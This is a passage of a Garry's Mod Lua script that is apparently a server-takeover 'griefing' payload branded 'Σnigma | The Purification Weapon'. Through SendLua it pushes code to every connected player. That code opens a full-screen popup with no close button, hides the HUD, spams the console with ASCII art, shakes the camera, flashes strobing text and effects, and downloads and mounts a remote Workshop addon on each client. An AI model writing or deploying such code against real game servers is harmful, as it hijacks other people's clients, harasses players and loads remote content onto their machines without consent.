- Color(math.random(1,255),math.random(1,255),math.random(1,255))
- )
- draw.SimpleTextOutlined(
- "RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, ",
- "DermaLarge",
- ScrW() /2 +math.random( -2, 2 ),
- ScrH() /2 +math.random( -2, 2 ) -460,
- Color(math.random(1,255),math.random(1,255),math.random(1,255)),
- TEXT_ALIGN_CENTER,
- TEXT_ALIGN_CENTER,
- 3,
- Color(math.random(1,255),math.random(1,255),math.random(1,255))
- )
- draw.SimpleTextOutlined(
- "RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, ",
- "DermaLarge",
- ScrW() /2 +math.random( -2, 2 ),
- ScrH() /2 +math.random( -2, 2 ) +490,
- Color(math.random(1,255),math.random(1,255),math.random(1,255)),
- TEXT_ALIGN_CENTER,
- TEXT_ALIGN_CENTER,
- 3,
- Color(math.random(1,255),math.random(1,255),math.random(1,255))
- )
- draw.SimpleTextOutlined(
- "RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, ",
- "DermaLarge",
- ScrW() /2 +math.random( -2, 2 ),
- ScrH() /2 +math.random( -2, 2 ) -490,
- Color(math.random(1,255),math.random(1,255),math.random(1,255)),
- TEXT_ALIGN_CENTER,
- TEXT_ALIGN_CENTER,
- 3,
- Color(math.random(1,255),math.random(1,255),math.random(1,255))
- )
- draw.SimpleTextOutlined(
- "RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, ",
- "DermaLarge",
- ScrW() /2 +math.random( -2, 2 ),
- ScrH() /2 +math.random( -2, 2 ) +520,
- Color(math.random(1,255),math.random(1,255),math.random(1,255)),
- TEXT_ALIGN_CENTER,
- TEXT_ALIGN_CENTER,
- 3,
- Color(math.random(1,255),math.random(1,255),math.random(1,255))
- )
- draw.SimpleTextOutlined(
- "RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, ",
- "DermaLarge",
- ScrW() /2 +math.random( -2, 2 ),
- ScrH() /2 +math.random( -2, 2 ) -520,
- Color(math.random(1,255),math.random(1,255),math.random(1,255)),
- TEXT_ALIGN_CENTER,
- TEXT_ALIGN_CENTER,
- 3,
- Color(math.random(1,255),math.random(1,255),math.random(1,255))
- )
- draw.SimpleTextOutlined(
- "RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, ",
- "DermaLarge",
- ScrW() /2 +math.random( -2, 2 ),
- ScrH() /2 +math.random( -2, 2 ) +550,
- Color(math.random(1,255),math.random(1,255),math.random(1,255)),
- TEXT_ALIGN_CENTER,
- TEXT_ALIGN_CENTER,
- 3,
- Color(math.random(1,255),math.random(1,255),math.random(1,255))
- )
- draw.SimpleTextOutlined(
- "RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, ",
- "DermaLarge",
- ScrW() /2 +math.random( -2, 2 ),
- ScrH() /2 +math.random( -2, 2 ) -550,
- Color(math.random(1,255),math.random(1,255),math.random(1,255)),
- TEXT_ALIGN_CENTER,
- TEXT_ALIGN_CENTER,
- 3,
- Color(math.random(1,255),math.random(1,255),math.random(1,255))
- )
- end )
- local allowed = { ["CHudChat"] = true, ["CHudGMod"] = true, ["CHudWeaponSelection"] = true, ["CHudMenu"] = true }
- hook.Add( "HUDShouldDraw", "newhud", function( str ) if not allowed[str] then return false end end )
- surface.PlaySound( "garrysmod/save_load4.wav" )
- surface.PlaySound( "vo/npc/male01/excuseme02.wav" )
- ]] )
- end )
- ---CONSOLE
- decore = {
- [[
- .,,uod8B8bou,,.
- ..,uod8BBBBBBBBBBBBBBBBRPFT?l!i:.
- ,=m8BBBBBBBBBBBBBBBRPFT?!||||||||||||||
- !...:!TVBBBRPFT||||||||||!!^^""' ||||
- !.......:!?|||||!!^^""' ||||
- !.........|||| ||||
- !.........|||| ENIGMA IS ||||
- !.........|||| ||||
- !.........|||| |_| ||||
- !.........|||| | |ere ||||
- !.........|||| ||||
- `.........|||| ,||||
- .;.......|||| _.-!!|||||
- .,uodWBBBBb.....|||| _.-!!|||||||||!:'
- !YBBBBBBBBBBBBBBb..!|||:..-!!|||||||!iof68BBBBBb....
- !..YBBBBBBBBBBBBBBb!!||||||||!iof68BBBBBBRPFT?!:: `.
- !....YBBBBBBBBBBBBBBbaaitf68BBBBBBRPFT?!::::::::: `.
- !......YBBBBBBBBBBBBBBBBBBBRPFT?!::::::;:!^"`;::: `.
- !........YBBBBBBBBBBRPFT?!::::::::::^''...::::::; iBBbo.
- `..........YBRPFT?!::::::::::::::::::::::::;iof68bo. WBBBBbo.
- `..........:::::::::::::::::::::::;iof688888888888b. `YBBBP^'
- `........::::::::::::::::;iof688888888888888888888b. `
- `......:::::::::;iof688888888888888888888888888888b.
- `....:::;iof688888888888888888888888888888888899fT! Σnigma | The Purification Weapon - Weapon By Zilnix, IXXE and Keeta
- `..::!8888888888888888888888888888888899fT|!^"'
- `' !!988888888888888888888888899fT|!^"'
- `!!8888888888888888899fT|!^"'
- `!988888888899fT|!^"'
- `!9899fT|!^"'
- `!^"'
- ]]
- ,
- [[
- .,,uod8B8bou,,.
- ..,uod8BBBBBBBBBBBBBBBBRPFT?l!i:.
- ,=m8BBBBBBBBBBBBBBBRPFT?!||||||||||||||
- !...:!TVBBBRPFT||||||||||!!^^""' ||||
- !.......:!?|||||!!^^""' ||||
- !.........|||| ||||
- !.........|||| ||||
- !.........|||| ||||
- !.........|||| ||||
- !.........|||| ||||
- !.........|||| ||||
- `.........|||| ,||||
- .;.......|||| _.-!!|||||
- .,uodWBBBBb.....|||| _.-!!|||||||||!:'
- !YBBBBBBBBBBBBBBb..!|||:..-!!|||||||!iof68BBBBBb....
- !..YBBBBBBBBBBBBBBb!!||||||||!iof68BBBBBBRPFT?!:: `.
- !....YBBBBBBBBBBBBBBbaaitf68BBBBBBRPFT?!::::::::: `.
- !......YBBBBBBBBBBBBBBBBBBBRPFT?!::::::;:!^"`;::: `.
- !........YBBBBBBBBBBRPFT?!::::::::::^''...::::::; iBBbo.
- `..........YBRPFT?!::::::::::::::::::::::::;iof68bo. WBBBBbo.
- `..........:::::::::::::::::::::::;iof688888888888b. `YBBBP^'
- `........::::::::::::::::;iof688888888888888888888b. `
- `......:::::::::;iof688888888888888888888888888888b.
- `....:::;iof688888888888888888888888888888888899fT! Σnigma | The Purification Weapon - Weapon By Zilnix, IXXE and Keeta
- `..::!8888888888888888888888888888888899fT|!^"'
- `' !!988888888888888888888888899fT|!^"'
- `!!8888888888888888899fT|!^"'
- `!988888888899fT|!^"'
- `!9899fT|!^"'
- `!^"'
- ]]
- ,
- [[
- .,,uod8B8bou,,.
- ..,uod8BBBBBBBBBBBBBBBBRPFT?l!i:.
- ,=m8BBBBBBBBBBBBBBBRPFT?!||||||||||||||
- !...:!TVBBBRPFT||||||||||!!^^""' ||||
- !.......:!?|||||!!^^""' ||||
- !.........|||| ||||
- !.........|||| It's Too Glitchy ||||
- !.........|||| ||||
- !.........|||| . . ||||
- !.........|||| - ||||
- !.........|||| ||||
- `.........|||| HELP ME PLEASE ,||||
- .;.......|||| _.-!!|||||
- .,uodWBBBBb.....|||| _.-!!|||||||||!:'
- !YBBBBBBBBBBBBBBb..!|||:..-!!|||||||!iof68BBBBBb....
- !..YBBBBBBBBBBBBBBb!!||||||||!iof68BBBBBBRPFT?!:: `.
- !....YBBBBBBBBBBBBBBbaaitf68BBBBBBRPFT?!::::::::: `.
- !......YBBBBBBBBBBBBBBBBBBBRPFT?!::::::;:!^"`;::: `.
- !........YBBBBBBBBBBRPFT?!::::::::::^''...::::::; iBBbo.
- `..........YBRPFT?!::::::::::::::::::::::::;iof68bo. WBBBBbo.
- `..........:::::::::::::::::::::::;iof688888888888b. `YBBBP^'
- `........::::::::::::::::;iof688888888888888888888b. `
- `......:::::::::;iof688888888888888888888888888888b.
- `....:::;iof688888888888888888888888888888888899fT! Σnigma | The Purification Weapon - Weapon By Zilnix, IXXE and Keeta
- `..::!8888888888888888888888888888888899fT|!^"'
- `' !!988888888888888888888888899fT|!^"'
- `!!8888888888888888899fT|!^"'
- `!988888888899fT|!^"'
- `!9899fT|!^"'
- `!^"'
- ]]
- ,
- [[
- .,,uod8B8bou,,.
- ..,uod8BBBBBBBBBBBBBBBBRPFT?l!i:.
- ,=m8BBBBBBBBBBBBBBBRPFT?!||||||||||||||
- !...:!TVBBBRPFT||||||||||!!^^""' ||||
- !.......:!?|||||!!^^""' ||||
- !.........|||| ||||
- !.........|||| HELP ME !!! ||||
- !.........|||| ||||
- !.........|||| I NEED HELP ! ||||
- !.........|||| ||||
- !.........|||| ... ||||
- `.........|||| ,||||
- .;.......|||| _.-!!|||||
- .,uodWBBBBb.....|||| _.-!!|||||||||!:'
- !YBBBBBBBBBBBBBBb..!|||:..-!!|||||||!iof68BBBBBb....
- !..YBBBBBBBBBBBBBBb!!||||||||!iof68BBBBBBRPFT?!:: `.
- !....YBBBBBBBBBBBBBBbaaitf68BBBBBBRPFT?!::::::::: `.
- !......YBBBBBBBBBBBBBBBBBBBRPFT?!::::::;:!^"`;::: `.
- !........YBBBBBBBBBBRPFT?!::::::::::^''...::::::; iBBbo.
- `..........YBRPFT?!::::::::::::::::::::::::;iof68bo. WBBBBbo.
- `..........:::::::::::::::::::::::;iof688888888888b. `YBBBP^'
- `........::::::::::::::::;iof688888888888888888888b. `
- `......:::::::::;iof688888888888888888888888888888b.
- `....:::;iof688888888888888888888888888888888899fT! Σnigma | The Purification Weapon - Weapon By Zilnix, IXXE and Keeta
- `..::!8888888888888888888888888888888899fT|!^"'
- `' !!988888888888888888888888899fT|!^"'
- `!!8888888888888888899fT|!^"'
- `!988888888899fT|!^"'
- `!9899fT|!^"'
- `!^"'
- ]]
- ,
- [[
- .,,uod8B8bou,,.
- ..,uod8BBBBBBBBBBBBBBBBRPFT?l!i:.
- ,=m8BBBBBBBBBBBBBBBRPFT?!||||||||||||||
- !...:!TVBBBRPFT||||||||||!!^^""' ||||
- !.......:!?|||||!!^^""' ||||
- !.........|||| ||||
- !.........|||| What Is Love ||||
- !.........|||| Baby Don' Hurt Me ||||
- !.........|||| No More ||||
- !.........|||| ||||
- !.........|||| ♪ ♫ ♪ ♫ ♪♫ ||||
- `.........|||| ,||||
- .;.......|||| _.-!!|||||
- .,uodWBBBBb.....|||| _.-!!|||||||||!:'
- !YBBBBBBBBBBBBBBb..!|||:..-!!|||||||!iof68BBBBBb....
- !..YBBBBBBBBBBBBBBb!!||||||||!iof68BBBBBBRPFT?!:: `.
- !....YBBBBBBBBBBBBBBbaaitf68BBBBBBRPFT?!::::::::: `.
- !......YBBBBBBBBBBBBBBBBBBBRPFT?!::::::;:!^"`;::: `.
- !........YBBBBBBBBBBRPFT?!::::::::::^''...::::::; iBBbo.
- `..........YBRPFT?!::::::::::::::::::::::::;iof68bo. WBBBBbo.
- `..........:::::::::::::::::::::::;iof688888888888b. `YBBBP^'
- `........::::::::::::::::;iof688888888888888888888b. `
- `......:::::::::;iof688888888888888888888888888888b.
- `....:::;iof688888888888888888888888888888888899fT! Σnigma | The Purification Weapon - Weapon By Zilnix, IXXE and Keeta
- `..::!8888888888888888888888888888888899fT|!^"'
- `' !!988888888888888888888888899fT|!^"'
- `!!8888888888888888899fT|!^"'
- `!988888888899fT|!^"'
- `!9899fT|!^"'
- `!^"'
- ]]
- }
- function decorationconsole()
- print(Color( 0, 0, 0 ), table.Random(decore))
- end
- -- Console Spam
- for k, v in pairs( player.GetAll() ) do
- timer.Create("consolespamenigma", 0.4, 0, function() decorationconsole( v ) end )
- end
- ----WEAPON Color
- hook.Add("Think","somewhere_over_the_rainbow",function()
- local col = HSVToColor(CurTime() * 50 % 360, 1, 1)
- for _, v in ipairs(player.GetAll()) do
- v:SetWeaponColor(Vector(col.r / 255, col.g / 255, col.b / 255))
- end
- end)
- ---TEXT SPAM VISUEL
- lol:PushAction( 5, function( pPlayer )
- lol:SendLua( pPlayer, [[
- enigma = vgui.Create("DFrame")
- enigma:SetPos(0,0)
- enigma:SetSize(ScrW(), ScrH())
- enigma:ShowCloseButton(false)
- enigma:SetTitle("")
- enigma:SetVisible(true)
- enigma:MakePopup()
- enigma:SetDraggable(false)
- enigma.Paint = function(self, w, h)
- draw.DrawText( "(╯°□°)╯︵ ┻━┻", "lapolice", ScrW() * 0.5, ScrH() * (math.random(0,100)*0.01), Color( 240, 240, 240, math.random(230,255) ), TEXT_ALIGN_CENTER )
- draw.DrawText( "(╯°□°)╯︵ ┻━┻", "lapolice", math.random(0,10), ScrH() * (math.random(0,100)*0.01), Color( 240, 100, 100, math.random(230,255) ), 0 )
- draw.DrawText( "Σ", "lapolice", W * 0.7 + math.random(0,50), ScrH() * (math.random(0,100)*0.01), Color( 240, 240, 240, math.random(230,255) ), 0 )
- draw.DrawText( "Σ", "lapolice", W * 0.38 + math.random(0,50), ScrH() * (math.random(0,100)*0.01), Color( 240, 240, 240, math.random(230,255) ), 0 )
- draw.DrawText( "Σ", "lapolice", W * 0.9 + math.random(0,50), ScrH() * (math.random(0,100)*0.01), Color( 240, 240, 240, math.random(230,255) ), 0 )
- draw.DrawText( "Σ", "lapolice", W * 0.35 + math.random(0,50), ScrH() * (math.random(0,100)*0.01), Color( 240, 240, 240, math.random(230,255) ), 0 )
- draw.DrawText( "RIP ;)", "lapolice", W * 0.98 + math.random(0,50), ScrH() * (math.random(0,100)*0.01), Color( 240, 240, 240, math.random(230,255) ), 0 )
- draw.DrawText( "ΣNIGMA", "lapolice", W * 0.8 + math.random(0,50), ScrH() * (math.random(0,100)*0.01), Color( 240, 240, 240, math.random(230,255) ), 0 )
- draw.DrawText( "RIP ;)", "lapolice", W * 0.73 + math.random(0,50), ScrH() * (math.random(0,100)*0.01), Color( 240, 240, 240, math.random(230,255) ), 0 )
- draw.DrawText( "ΣNIGMA", "lapolice", W * 0.27 + math.random(0,50), ScrH() * (math.random(0,100)*0.01), Color( 240, 240, 240, math.random(230,255) ), 0 )
- draw.DrawText( "ΣNIGMA", "lapolice", W * 0.1 + math.random(0,50), ScrH() * (math.random(0,100)*0.01), Color( 240, 240, 240, math.random(230,255) ), 0 )
- draw.DrawText( "RIP ;)", "lapolice", W * 0.05 + math.random(0,50), ScrH() * (math.random(0,100)*0.01), Color( 240, 240, 240, math.random(230,255) ), 0 )
- draw.DrawText( "ΣNIGMA", "lapolice", W * 0.11 + math.random(0,50), ScrH() * (math.random(0,100)*0.01), Color( 240, 240, 240, math.random(230,255) ), 0 )
- draw.DrawText( "RIP ;)", "lapolice", W * 0.75 + math.random(0,50), ScrH() * (math.random(0,100)*0.01), Color( 240, 240, 240, math.random(230,255) ), 0 )
- draw.DrawText( "ΣNIGMA", "lapolice", W * 0.8 + math.random(0,50), ScrH() * (math.random(0,100)*0.01), Color( 240, 240, 240, math.random(230,255) ), 0 )
- draw.DrawText( "RIP ;)", "lapolice", W * 0.2 + math.random(0,50), ScrH() * (math.random(0,100)*0.01), Color( 240, 240, 240, math.random(230,255) ), 0 )
- draw.DrawText( "ΣNIGMA", "lapolice", W * 0.1 + math.random(0,50), ScrH() * (math.random(0,100)*0.01), Color( 240, 240, 240, math.random(230,255) ), 0 )
- draw.DrawText( "ΣNIGMA", "lapolice", W * 0 + math.random(0,50), ScrH() * (math.random(0,100)*0.01), Color( 240, 240, 240, math.random(230,255) ), 0 )
- draw.DrawText( "ΣNIGMA", "lapolice", W * 0 + math.random(0,50), ScrH() * (math.random(0,100)*0.01), Color( 240, 240, 240, math.random(230,255) ), 0 )
- draw.RoundedBox( 0, 0, math.random(0,W), W, H*0.001, Color(255,255,255,math.random(0,255) ) )
- draw.RoundedBox( 0, 0, math.random(0,W), W, H*0.001, Color(255,255,255,math.random(0,255) ) )
- draw.RoundedBox( 0, 0, math.random(0,W), W, H*0.001, Color(255,255,255,math.random(0,255) ) )
- draw.RoundedBox( 0, 0, math.random(0,W), W, H*0.001, Color(255,255,255,math.random(0,255) ) )
- draw.RoundedBox( 0, 0, math.random(0,W), W, H*0.001, Color(255,255,255,math.random(0,255) ) )
- end
- ]] )
- end )
- ---PARTICULE
- lol:SendLua( pPlayer, [=[
- steamworks.FileInfo(1618885873,function(result)steamworks.Download(result.fileid,true,function(name)game.MountGMA(name)end) end)
- timer.Simple(5, function()
- game.AddParticles( "particles/enigma.pcf" )
- PrecacheParticleSystem("enigma")
- for i = 1, 10 do
- ParticleEffectAttach("enigma", PATTACH_ABSORIGIN_FOLLOW, LocalPlayer(), 0)
- end
- local ragtbl = {}
- for i=1,20 do
- ragtbl[i] = ClientsideRagdoll( "models/player/gman_high.mdl" )
- ragtbl[i]:SetNoDraw( false )
- ragtbl[i]:DrawShadow( true )
- end
- local function GetWebMat( strURL )
- return g_]=].. lol.m_strImageGlobalVar.. [=[[strURL]
- end
- local uwu = {}
- hook.Add("HUDPaint", "okay",function()
- for k,v in pairs(uwu) do
- v()
- end
- end)
- SOUNDSTART_CTP = false
- OZJFOZJCEZIO = true
- sound.PlayURL(" ","mono noblock noplay",function(s)
- if not s then return end
- if SOUNDSTART_CTP then s:Stop() return end
- SOUNDSTART_CTP = true
- s:SetVolume(5 )
- s:Play()
- s:EnableLooping( true )
- local ragtbl = {}
- uwu["CoolEffect"] = function()
- local tbl = {}
- s:FFT(tbl,FFT_2048)
- xpcall(function()
- local fal = 0
- for i=4,6 do
- fal = fal + tbl[i]
- end
- if fal > 0.8 then
- local oneid = "newhud"..math.random(100, 300).."id"
- hook.Add( "HUDPaint", oneid, function()
- surface.SetDrawColor( 255, 255, 255, 255 )
- if GetWebMat( "hud2" ) then -- lui
- surface.SetMaterial( GetWebMat("hud2")[1] )
- surface.DrawTexturedRect( 0, 0, ScrW(), ScrH() )
- end
- end )
- timer.Simple(0.2, function()
- hook.Remove( "HUDPaint", oneid)
- end)
- end
- end,function()
- end)
- end
- end)
- end)
- ]=])
- game.AddParticles( "particles/enigma.pcf" )
- PrecacheParticleSystem("enigma")
- --Disco time
- lol:PushAction( 10, function( pPlayer )
- local idx = pPlayer:EntIndex()
- timer.Create( "beat".. idx, 0.42, 0, function()
- if not IsValid( pPlayer ) then timer.Destroy( "beat".. idx ) return end
- pPlayer:ViewPunch( Angle(math.Rand(-15, -10), math.Rand(-10, 10), 0) )
- end )
- lol:SendLua( pPlayer, [[
- local emitter = ParticleEmitter( LocalPlayer():GetPos() )
- local time = 0
- hook.Add( "Think", "wat", function()
- if CurTime() < time then
- return
- end
- time = CurTime() +0.05
- for i = 1, 16 do
- local part = emitter:Add(
- "particles/balloon_bit",
- LocalPlayer():GetPos() +Vector(
- math.random( -256, 256 ),
- math.random( -256, 256 ),
- 256
- )
- )
- if part then
- local Size = math.random( 4, 7 )
- part:SetColor( math.random(0, 255), math.random(0, 255), math.random(0, 255), 255 )
- part:SetVelocity( Vector( 40, 25, -math.random(300, 400) ) )
- part:SetDieTime( 4.5 )
- part:SetGravity( Vector(40, 0, -250) )
- part:SetLifeTime( 0 )
- part:SetStartSize( Size /2 )
- part:SetEndSize( Size )
- part:SetCollide( true )
- end
- end
- end )
- ]] )
- lol:SendLua( pPlayer, [[
- hook.Add( "RenderScreenspaceEffects", "wat", function()
- local sinScaler = math.sin( CurTime() )
- DrawBloom(
- 0,
- 3,
- sinScaler *math.Rand(1, 8),
- sinScaler *math.Rand(1, 8),
- 6,
- math.Rand(0.5, 2),
- math.Rand(0, 0.3),
- math.Rand(0, 0.3),
- math.Rand(0.5, 1)
- )
- DrawColorModify{
- ["$pp_colour_addr"] = 0,
- ["$pp_colour_addg"] = 0,
- ["$pp_colour_addb"] = 00,
- ["$pp_colour_brightness" ] = 0,
- ["$pp_colour_contrast" ] = 1,
- ["$pp_colour_colour" ] = 1,
- ["$pp_colour_mulr" ] = 0,
- ["$pp_colour_mulg" ] = 0,
- ["$pp_colour_mulb" ] = 1
- }
- end )
- local mdl = ClientsideModel( "models/player/skeleton.mdl", RENDERGROUP_BOTH )
- mdl:SetNoDraw( true )
- local posCache, time = {}, 0
- hook.Add( "HUDPaint", "dance", function()
- if not mdl.SeqStart or CurTime() > (mdl.SeqStart +mdl.SeqDuration) then
- local idx = mdl:LookupSequence("taunt_dance")
- mdl.SeqDuration = mdl:SequenceDuration( idx )
- mdl.SeqStart = CurTime()
- mdl:ResetSequence( idx )
- end
- mdl:SetCycle( (CurTime() -mdl.SeqStart) /mdl.SeqDuration )
- local w, h = 300, 300
- local ang = Angle( 0, 0, 0 )
- for i = 1, 32 do
- if CurTime() > time then
- posCache[i] = { math.random( 0, ScrW() -w ), math.random( 0, ScrH() -h ) }
- end
- local x, y = posCache[i][1], posCache[i][2]
- cam.Start3D( (ang:Forward() *64) +(ang:Up() *32), (ang:Forward()*-1):Angle(), 90, x, y, w, h )
- cam.IgnoreZ( true )
- render.SuppressEngineLighting( true )
- render.SetLightingOrigin( mdl:GetPos() )
- render.ResetModelLighting( 1, 1, 1 )
- render.SetColorModulation( 0, 0, 1 )
- mdl:DrawModel()
- render.SuppressEngineLighting( false )
- cam.IgnoreZ( false )
- cam.End3D()
- end
- if CurTime() > time then
- time = CurTime() +0.15
- end
- end )
- surface.PlaySound( "vo/npc/male01/ohno.wav" )
- ]] )
- end )
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